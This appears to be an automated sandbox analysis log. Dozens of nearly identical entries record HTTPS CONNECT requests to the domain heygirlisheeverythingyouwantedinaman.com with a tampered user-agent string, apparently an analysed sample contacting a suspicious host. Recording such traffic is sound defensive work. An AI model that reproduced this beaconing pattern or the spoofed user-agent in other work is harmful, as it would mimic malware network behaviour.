Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.com
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.com
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
